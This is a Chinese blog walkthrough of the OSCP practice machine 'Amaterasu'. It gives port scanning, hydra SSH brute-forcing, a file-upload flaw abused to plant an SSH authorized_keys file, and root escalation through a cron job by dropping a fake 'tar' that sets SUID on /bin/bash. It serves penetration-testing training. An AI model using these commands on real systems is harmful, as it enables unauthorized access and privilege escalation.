从WEB到内网&&文件上传&&SSH公私钥免密登录&&Cron job提权--------打靶经验分享

OSCP------Amaterasu
今天来打一个OSCP的靶机Amaterasu,难度中等,包含了端口探测,文件上传,ssh公私钥实现免密登录,定时任务提权等等…靶场难度中等,需要收集两个flag,一个flag低权限shell就可以获取,第二个要提权后才可以获取。希望大家能有所收获。

启动环境:

启动VPN:openvpn universal.ovpn
在这里插入图片描述

攻击机IP为: 192.168.45.201
启动目标靶机:
在这里插入图片描述

目标靶机IP为:192.168.248.249

信息收集

1.端口
nmap扫描端口:
nmap --min-rate 10000 -p- 192.168.248.249
在这里插入图片描述

探测到了:21,22,111,139,443,445,2049,10000,25022,33414,40080 端口
端口服务探测:
nmap -p 21,22,111,139,443,445,2049,10000,25022,33414,40080 -sV 192.168.248.249
在这里插入图片描述

发现目标主机准确开放的端口为:
21-ftp、25022-ssh、33414-unknown、40080-http

2.端口测试

2.1 21-ftp端口
先试试直接ftp匿名登录连接过去(ftp匿名登录用户名为anonymous,密码为email或者为空)。
ftp 192.168.248.249
在这里插入图片描述

空密码直接登陆成功。登录后看一下有什么文件,有什么线索(binary 以二进制模式传输文件,保证文件完整)。
在这里插入图片描述

什么都没有,21端口结束。

2.2 25022-ssh
直接尝试弱口令登录:
ssh 192.168.248.249 -p 25022
在这里插入图片描述

尝试了几个都失败了。那就直接上ssh爆破,字典用msf的。
hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.248.249 ssh -s 25022
在这里插入图片描述

等待ing。

2.3 33414-unknow
刚才nmap出来的33414显示是unknown,详细再探测一下:
nmap -sT -sV -O -sC -p 33414 192.168.248.249
在这里插入图片描述
看到了html代码,那就浏览器访问一下192.168.248.249:33414

在这里插入图片描述
无法访问哇,再倒回去看看。
在这里插入图片描述
Werkzeug/2.2.3 发现了这个服务。查了一下,Werkzeug是一个Python的WSGI工具库,用于构建Web应用程序和框架。Werkzeug提供了一套灵活的工具,用于处理HTTP请求和响应、路由请求、处理会话、进行调试等等。
还是继续用dirsearch扫一下把。
dirsearch -u http://192.168.248.249:33414/
在这里插入图片描述

发现了help和info。
访问一下http://192.168.248.249:33414/help
在这里插入图片描述
这大家第一眼关注的应该是文件上传了。
那就等下试试这个接口。还有一个40080端口。
在这里插入图片描述
info里面是一些无用的信息。

2.4 40080端口http

http服务直接访问http://192.168.248.249:40080
在这里插入图片描述
Mozilla is cool! 没什么用

攻击阶段

看一下/file-upload接口
在这里插入图片描述
方式不被允许。那就换成POST 试一下curl
curl -X POST http://192.168.248.249:33414/file-upload
在这里插入图片描述
看来是要需要有上传的文件。curl通过POST上传文件。
touch shell.php
curl -X POST -F file="@/home/czy1874396671/shell.php.txt" -F filename=shell.php http://192.168.248.249:33414/file-upload
在这里插入图片描述
看来想上传一句话php行不通哇。
在这里插入图片描述
改成了允许上传的文件格式上传成功
查看了一下文件上传的位置,发现是在/tmp目录下。
curl http://192.168.248.249:33414/file-list?dir=/tmp
在这里插入图片描述
现在可以上传文件了,该怎么利用呢。试一下是否可以上传目录穿越。
curl -X POST -F file="@/home/czy1874396671/shell.php.txt" -F filename=../shell.php http://192.168.248.249:33414/file-upload
在这里插入图片描述
500,应该是没有权限。试一下路径读取,找一下普通用户能够有权限写入的地方。
在这里插入图片描述
找到了一个alfredo的用户,目录下面存在.ssh文件,这里试一下能不能上传。
curl -X POST -F file="@/home/czy1874396671/shell.php.txt" -F filename=/home/alfredo/.ssh/shell.php http://192.168.248.249:33414/file-upload

在这里插入图片描述
成功上传,有alfredo这个用户,创建一个shell.php.txt的公钥authorized_keys,上传之后可以进行密钥ssh登录。使用ssh-keygen生成公钥。
ssh-keygen -t rsa
在这里插入图片描述
在这里插入图片描述
先重命名一下,便于上传。
在这里插入图片描述
curl -X POST -F file="@/home/czy1874396671/shell.php.txt.pub.txt" -F filename=/home/alfredo/.ssh/authorized_keys http://192.168.248.249:33414/file-upload
在这里插入图片描述
在这里插入图片描述
非常奈斯。

内网渗透

现在有了文件的公钥,使用文件的私钥文件进行ssh登录,之前的ssh25022端口。
ssh -i shell.php.txt alfredo@192.168.248.249 -p 25022
在这里插入图片描述
有shell了,牛牛牛。
找flag:
find / -name local.txt
cat /home/alfredo/local.txt
在这里插入图片描述
flag1:18cc76acd2212102be9e0d61409fd62d

提权

1.sudo提权
在这里插入图片描述
需要密码。

2.suid提权
find / -perm -u=s -type f 2>/dev/null
在这里插入图片描述
没有可提权的东西。
3. -suid-getcap提权
/usr/sbin/getcap -r / 2>/dev/null
在这里插入图片描述
没有东西。

4.Cron job提权,寻找定时任务并修改进行提权
cat /etc/crontab
在这里插入图片描述
这个任务会每分钟执行一次 /usr/local/bin/backup-flask.sh 脚本。
看一下有没有修改权限。
ls -al cat /usr/local/bin/backup-flask.sh
在这里插入图片描述

再查看它的内容:
cat /usr/local/bin/backup-flask.sh
在这里插入图片描述
这个脚本的主要功能是将 /home/alfredo/restapi 目录中的文件和子目录打包成一个压缩文件 /tmp/flask.tar.gz。
因为环境可控,所以我们自己做一个tar的命令进行任务计划帮助提权。

查看bash权限
在这里插入图片描述
写一个提bash权命令 增加suid
echo "chmod +u+s /bin/bash" > tar
cat tar
增加执行权限
chmod +x tar
cat tar
等待一分钟,此时已经成功提升权限
ls -al /bin/bash 即可看到 -rwxrwxrwx. 1 root root 1390080 Jan 25 2021 /bin/bash
直接bash -p即可完成提权,作者因为靶场时间已经到期,没来得及截图哈哈哈。
获取flag2:
cat /root/proof.txt

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

芝士土包鼠

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值